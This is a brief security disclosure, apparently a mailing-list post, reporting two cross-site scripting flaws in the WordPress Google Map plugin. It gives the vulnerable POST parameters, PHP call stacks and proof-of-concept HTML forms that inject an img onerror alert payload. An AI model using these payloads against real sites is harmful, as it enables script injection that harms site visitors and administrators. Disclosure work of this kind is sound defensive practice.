Hello,
1. Cross-Site Scripting (XSS)
Authenticated administrators can inject html/js code (there is no CSRF protection).
Method: POST
Vulnerable parameters: googlemap_title, googlemap_address, googlemap_latitude, googlemap_longitude, googlemap_infomessage
Example PHP callstack:
wpgmp_add_locations /wp-google-map-plugin/wpgmp-add-location.php:128]
Verification:
--
<input type="text" name="googlemap_title" value='"><img src=x onerror=alert(1) /> ' />
<input type="submit" />
</form>
--
2. Cross-Site Scripting (XSS)
Authenticated administrators can inject html/js code (there is no CSRF protection).
Method: POST
Vulnerable parameters: group_map_title
Example PHP callstack:
wpgmp_create_map [/wp-google-map-plugin/wpgmp-create-map.php:237]
Verification:
--
<input type="text" name="group_map_title" value='"><img src=x onerror=alert(1) /> ' />
<input type="submit" />
</form>
--
--
Regards,
Marcin Probola,